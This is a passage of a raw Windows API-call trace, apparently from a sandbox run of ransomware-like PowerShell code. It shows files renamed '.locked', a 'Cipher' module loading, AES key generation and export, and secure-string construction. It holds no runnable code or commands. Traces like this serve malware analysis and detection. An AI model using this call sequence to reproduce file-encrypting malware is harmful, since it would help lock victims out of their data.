out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.387] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.390] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add48) returned 1 [0127.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a25158 | out: lpFileInformation=0x6a25158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2328ba, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf2328ba, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf2328ba, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x65a4)) returned 1 [0127.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add44) returned 1 [0127.393] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad824, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", lpFilePart=0x0) returned 0x51 [0127.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.393] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add90 | out: lpFileInformation=0x99add90) returned 1 [0127.393] CloseHandle (hObject=0x868) returned 1 [0127.396] GetConsoleOutputCP () returned 0x1b5 [0127.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.397] GetConsoleOutputCP () returned 0x1b5 [0127.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.397] GetConsoleOutputCP () returned 0x1b5 [0127.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.398] GetConsoleOutputCP () returned 0x1b5 [0127.398] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.398] GetConsoleOutputCP () returned 0x1b5 [0127.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.399] GetConsoleOutputCP () returned 0x1b5 [0127.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.399] GetConsoleOutputCP () returned 0x1b5 [0127.399] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.399] GetConsoleOutputCP () returned 0x1b5 [0127.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.400] GetConsoleOutputCP () returned 0x1b5 [0127.400] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.400] GetConsoleOutputCP () returned 0x1b5 [0127.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.401] GetConsoleOutputCP () returned 0x1b5 [0127.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.401] GetConsoleOutputCP () returned 0x1b5 [0127.401] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.401] GetConsoleOutputCP () returned 0x1b5 [0127.402] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.402] GetConsoleOutputCP () returned 0x1b5 [0127.402] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.402] GetConsoleOutputCP () returned 0x1b5 [0127.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.403] GetConsoleOutputCP () returned 0x1b5 [0127.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.403] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae38c | out: lpConsoleScreenBufferInfo=0x99ae38c) returned 1 [0127.403] GetConsoleOutputCP () returned 0x1b5 [0127.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae328, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae328) returned 0 [0127.404] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.404] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a4c1bc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x6a4c1bc*, lpNumberOfCharsWritten=0x99ae38c*=0x77) returned 1 [0127.405] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.405] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae38c*=0x2) returned 1 [0127.410] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.410] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.410] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xf000\x69d\xeff4\x69d\xefac\x69d\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0127.411] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.411] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.411] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.412] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.412] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.412] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.412] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.413] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e021c8) returned 1 [0127.413] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84db8) returned 1 [0127.413] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.414] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.414] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a55c20, pdwDataLen=0x99ae788 | out: pbData=0x6a55c20*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.414] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.414] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.414] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.414] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.414] SysStringLen (param_1="") returned 0x8 [0127.414] SysStringLen (param_1="s") returned 0x8 [0127.414] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="\x589b\x896b\x7cf3\x9a21\xad6b\x70d5\x4668\xe5f") returned 0x8 [0127.415] SysStringLen (param_1="\x589b\x896b\x7cf3\x9a21\xad6b\x70d5\x4668\xe5f") returned 0x8 [0127.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="sn") returned 0x8 [0127.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="娰戣壪㜥ᶓ䖒㪾") returned 0x8 [0127.415] SysStringLen (param_1="娰戣壪㜥ᶓ䖒㪾") returned 0x8 [0127.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="sn+") returned 0x8 [0127.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="\xb6ce\x30c1\x88ae\x6595\xd170\x16df\x994e\x58ee") returned 0x8 [0127.415] SysStringLen (param_1="\xb6ce\x30c1\x88ae\x6595\xd170\x16df\x994e\x58ee") returned 0x8 [0127.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="sn+7") returned 0x8 [0127.415] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="䕻捳橄୭ࠓⷬ马") returned 0x8 [0127.415] SysStringLen (param_1="䕻捳橄୭ࠓⷬ马") returned 0x8 [0127.415] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.415] SysStringLen (param_1="sn+7Y") returned 0x8 [0127.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="\xd3c6\x8d27\x6df\x2ec3\x87be\xde64\xc9d6\x2437") returned 0x8 [0127.416] SysStringLen (param_1="\xd3c6\x8d27\x6df\x2ec3\x87be\xde64\xc9d6\x2437") returned 0x8 [0127.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="sn+7Y5") returned 0x8 [0127.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="\x51a6\xd530\x8acf\x85db\xa9ac\x3058\x8efc\xf60") returned 0x8 [0127.416] SysStringLen (param_1="\x51a6\xd530\x8acf\x85db\xa9ac\x3058\x8efc\xf60") returned 0x8 [0127.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="sn+7Y5e") returned 0x8 [0127.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="\x6a01\xbfe7\x6f32\x187d\xdbfc\x50c2\xc966\x9292") returned 0x8 [0127.416] SysStringLen (param_1="\x6a01\xbfe7\x6f32\x187d\xdbfc\x50c2\xc966\x9292") returned 0x8 [0127.416] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="sn+7Y5eZ") returned 0x8 [0127.416] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.416] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39") returned 0x8 [0127.416] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39") returned 0x8 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39") returned 0x8 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39") returned 0x10 [0127.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="sn+7Y5eZW屌ڼ⾟嫦᫃컕૪") returned 0x10 [0127.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x6839\x3498\x49b\xed80\xf537\x7df7\xb72c\xd30b") returned 0x10 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x6839\x3498\x49b\xed80\xf537\x7df7\xb72c\xd30b") returned 0x10 [0127.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="sn+7Y5eZWHڼ⾟嫦᫃컕૪") returned 0x10 [0127.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x2b69\xfab5\x2b8c\x8286\x86dd\x138e\x6b7d\xba75") returned 0x10 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x2b69\xfab5\x2b8c\x8286\x86dd\x138e\x6b7d\xba75") returned 0x10 [0127.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="sn+7Y5eZWH6⾟嫦᫃컕૪") returned 0x10 [0127.417] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\xc939\x5c30\x426e\x1a1e\xae4c\xe782\x76cd\x3d53") returned 0x10 [0127.417] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\xc939\x5c30\x426e\x1a1e\xae4c\xe782\x76cd\x3d53") returned 0x10 [0127.417] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="sn+7Y5eZWH6P嫦᫃컕૪") returned 0x10 [0127.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5ebf\x20dd\x79b1\x6385\xa9f7\x68cb\xbcca\x1d31") returned 0x10 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5ebf\x20dd\x79b1\x6385\xa9f7\x68cb\xbcca\x1d31") returned 0x10 [0127.418] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="sn+7Y5eZWH6P4᫃컕૪") returned 0x10 [0127.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5985\x21f3\x47a5\x623b\x55d5\x23db\xf819\x5fcf") returned 0x10 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5985\x21f3\x47a5\x623b\x55d5\x23db\xf819\x5fcf") returned 0x10 [0127.418] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="sn+7Y5eZWH6P4n컕૪") returned 0x10 [0127.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x63dd\xf48\x5052\x176f\xa49e\x1bb3\x9a2b\xf704") returned 0x10 [0127.418] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x63dd\xf48\x5052\x176f\xa49e\x1bb3\x9a2b\xf704") returned 0x10 [0127.418] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.418] SysStringLen (param_1="sn+7Y5eZWH6P4nZ૪") returned 0x10 [0127.418] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\xc163\x4ae3\x5624\x2d2\x3a1c\xf30c\x1584\x12fc") returned 0x10 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\xc163\x4ae3\x5624\x2d2\x3a1c\xf30c\x1584\x12fc") returned 0x10 [0127.419] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.419] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2") returned 0x10 [0127.419] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a") returned 0x10 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a") returned 0x10 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a") returned 0x10 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a") returned 0x18 [0127.419] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.419] SysStringLen (param_1="sn+7Y5eZWH6P4nZ2a䆠轵⧙") returned 0x18 [0127.419] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xef6c\x1b33\x1ee1\x540e\x3707\xa10a\x1d25\x2d23") returned 0x18 [0127.419] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xef6c\x1b33\x1ee1\x540e\x3707\xa10a\x1d25\x2d23") returned 0x18 [0127.419] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.419] SysStringLen 